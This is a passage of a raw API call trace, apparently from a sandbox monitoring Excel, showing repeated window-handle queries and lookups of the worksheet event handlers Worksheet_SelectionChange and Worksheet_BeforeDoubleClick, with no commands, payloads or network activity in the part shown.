0x0 [0188.769] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0188.769] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0188.769] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0188.769] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0188.769] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0188.769] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0188.769] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbe1c4a0 [0188.769] IMalloc:Free (This=0x7feffc15380, pv=0xbe1c4a0) [0189.484] GetAsyncKeyState (vKey=27) returned 0 [0189.484] GetCurrentThreadId () returned 0x8fc [0189.484] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0189.484] GetDesktopWindow () returned 0x10010 [0189.484] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0189.484] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0189.484] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0189.484] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0189.484] GetWindowLongPtrA (hWnd=0xe0118, nIndex=-6) returned 0x7feef2c0000 [0189.484] GetWindowLongPtrA (hWnd=0xe0118, nIndex=-6) returned 0x7feef2c0000 [0189.484] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0189.484] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0189.484] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0189.484] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0189.485] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0189.485] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0189.485] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0189.485] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0189.485] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0189.485] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0189.485] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0189.485] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0189.485] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0189.485] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0189.485] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0189.485] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0189.485] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0189.485] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0189.486] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0189.486] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0189.486] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0189.486] IsWindowEnabled (hWnd=0x202b0) returned 0 [0189.486] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0189.486] RemovePropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0189.486] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1 [0189.486] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0189.486] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0189.486] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0189.486] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0189.486] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0189.486] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0189.486] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0189.486] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0189.486] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0189.486] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0189.487] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0189.487] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0189.487] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0189.487] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0189.487] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0189.487] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0189.487] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0189.487] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0189.487] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x72dc220 [0189.487] IMalloc:Free (This=0x7feffc15380, pv=0x72dc220) [0192.590] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1543, refPtrFlags=0x24e910, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xd000000284 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xd000000284) returned 0x0 [0192.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x24e960, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0192.591] _mbscpy_s (in: _Dst=0x24e7b0, _DstSizeInBytes=0x1a, _Src=0x6ca2e3a | out: _Dst=0x24e7b0) returned 0x0 [0192.591] _mbscpy_s (in: _Dst=0x24e7ba, _DstSizeInBytes=0x10, _Src=0x24e960 | out: _Dst=0x24e7ba) returned 0x0 [0192.591] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0192.592] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1537, refPtrFlags=0x24dcb0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0192.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x24dd00, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0192.592] _mbscpy_s (in: _Dst=0x24db50, _DstSizeInBytes=0x1c, _Src=0x6ca2e3a | out: _Dst=0x24db50) returned 0x0 [0192.592] _mbscpy_s (in: _Dst=0x24db5a, _DstSizeInBytes=0x12, _Src=0x24dd00 | out: _Dst=0x24db5a) returned 0x0 [0192.592] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0192.652] GetCurrentThreadId () returned 0x8fc [0192.652] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0192.652] GetDesktopWindow () returned 0x10010 [0192.652] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0192.652] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0192.652] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0192.652] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0192.652] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0192.652] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0192.652] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0192.652] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0192.652] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0192.652] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0192.652] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0192.652] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0192.652] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0192.652] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0192.652] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0192.653] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0192.653] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0192.653] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0192.653] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0192.653] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0192.653] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0192.653] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0192.653] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0192.653] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0192.653] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0192.653] IsWindowEnabled (hWnd=0x202b0) returned 1 [0192.653] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x0 [0192.653] SetPropA (hWnd=0x202b0, lpString=0xc137, hData=0x1) returned 1 [0192.653] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0 [0192.653] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0192.653] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0192.654] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0192.654] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0192.654] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0192.654] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0192.654] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0192.654] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0192.654] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0192.654] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0192.654] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0192.654] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0192.654] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0192.654] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0192.654] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0192.654] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0192.654] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0192.654] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0192.654] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbe1b700 [0192.654] IMalloc:Free (This=0x7feffc15380, pv=0xbe1b700) [0192.931] GetAsyncKeyState (vKey=27) returned 0 [0192.931] GetCurrentThreadId () returned 0x8fc [0192.931] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0192.931] GetDesktopWindow () returned 0x10010 [0192.932] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0192.932] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0192.932] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0192.932] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0192.932] GetWindowLongPtrA (hWnd=0xf0118, nIndex=-6) returned 0x7feef2c0000 [0192.932] GetWindowLongPtrA (hWnd=0xf0118, nIndex=-6) returned 0x7feef2c0000 [0192.932] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0192.932] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0192.932] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0192.932] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0192.932] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0192.932] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0192.932] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0192.932] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0192.932] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0192.932] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0192.932] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0192.932] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0192.932] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0192.932] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0192.932] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0192.933] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0192.933] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0192.933] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0192.933] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0192.933] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0192.933] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0192.933] IsWindowEnabled (hWnd=0x202b0) returned 0 [0192.933] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0192.933] RemovePropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0192.933] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1 [0192.933] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0192.933] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0192.933] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0192.933] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0192.933] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0192.933] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0192.933] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0192.933] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0192.934] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0192.934] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0192.934] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0192.934] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0192.934] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0192.934] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0192.934] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0192.934] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0192.934] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0192.934] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0192.934] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbe1c200 [0192.934] IMalloc:Free (This=0x7feffc15380, pv=0xbe1c200) [0195.955] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1543, refPtrFlags=0x24e910, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xd00000035b | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xd00000035b) returned 0x0 [0195.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x24e960, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0195.955] _mbscpy_s (in: _Dst=0x24e7b0, _DstSizeInBytes=0x1a, _Src=0x6ca2e3a | out: _Dst=0x24e7b0) returned 0x0 [0195.955] _mbscpy_s (in: _Dst=0x24e7ba, _DstSizeInBytes=0x10, _Src=0x24e960 | out: _Dst=0x24e7ba) returned 0x0 [0195.955] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0195.956] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1537, refPtrFlags=0x24dcb0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0195.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x24dd00, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0195.957] _mbscpy_s (in: _Dst=0x24db50, _DstSizeInBytes=0x1c, _Src=0x6ca2e3a | out: _Dst=0x24db50) returned 0x0 [0195.957] _mbscpy_s (in: _Dst=0x24db5a, _DstSizeInBytes=0x12, _Src=0x24dd00 | out: _Dst=0x24db5a) returned 0x0 [0195.957] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0196.195] GetCurrentThreadId () returned 0x8fc [0196.196] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0196.196] GetDesktopWindow () returned 0x10010 [0196.196] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0196.196] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0196.196] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0196.196] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0196.196] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0196.196] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0196.196] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0196.196] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0196.196] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0196.196] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0196.196] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0196.196] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0196.196] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0196.196] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0196.196] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0196.197] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0196.197] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0196.197] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0196.197] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0196.197] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0196.197] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0196.197] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0196.197] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0196.197] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0196.197] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0196.197] IsWindowEnabled (hWnd=0x202b0) returned 1 [0196.197] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x0 [0196.197] SetPropA (hWnd=0x202b0, lpString=0xc137, hData=0x1) returned 1 [0196.197] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0 [0196.197] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0196.197] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0196.197] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0196.197] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0196.197] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0196.197] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0196.198] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0196.198] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0196.198] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0196.198] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0196.198] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0196.198] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0196.198] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0196.198] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0196.198] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0196.198] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0196.198] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0196.198] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0196.198] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbe1b620 [0196.198] IMalloc:Free (This=0x7feffc15380, pv=0xbe1b620) [0196.542] GetAsyncKeyState (vKey=27) returned 0 [0196.542] GetCurrentThreadId () returned 0x8fc [0196.542] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0196.542] GetDesktopWindow () returned 0x10010 [0196.542] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0196.542] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0196.542] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0196.543] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0196.543] GetWindowLongPtrA (hWnd=0x90168, nIndex=-6) returned 0x7feef2c0000 [0196.543] GetWindowLongPtrA (hWnd=0x90168, nIndex=-6) returned 0x7feef2c0000 [0196.543] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0196.543] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0196.543] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0196.543] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0196.543] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0196.543] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0196.543] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0196.543] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0196.543] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0196.543] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0196.543] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0196.543] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0196.543] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0196.543] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0196.543] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0196.543] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0196.543] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0196.543] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0196.543] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0196.543] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0196.544] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0196.544] IsWindowEnabled (hWnd=0x202b0) returned 0 [0196.544] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0196.544] RemovePropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0196.544] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1 [0196.544] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0196.544] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0196.544] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0196.544] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0196.544] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0196.544] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0196.544] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0196.544] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0196.544] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0196.544] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0196.544] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0196.544] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0196.544] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0196.544] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0196.545] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0196.545] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0196.545] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0196.545] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0196.545] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbe1b620 [0196.545] IMalloc:Free (This=0x7feffc15380, pv=0xbe1b620) [0199.672] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1543, refPtrFlags=0x24e910, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x3800000197 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x3800000197) returned 0x0 [0199.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x24e960, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0199.672] _mbscpy_s (in: _Dst=0x24e7b0, _DstSizeInBytes=0x1a, _Src=0x6ca2e3a | out: _Dst=0x24e7b0) returned 0x0 [0199.672] _mbscpy_s (in: _Dst=0x24e7ba, _DstSizeInBytes=0x10, _Src=0x24e960 | out: _Dst=0x24e7ba) returned 0x0 [0199.672] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0199.674] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1537, refPtrFlags=0x24dcb0, 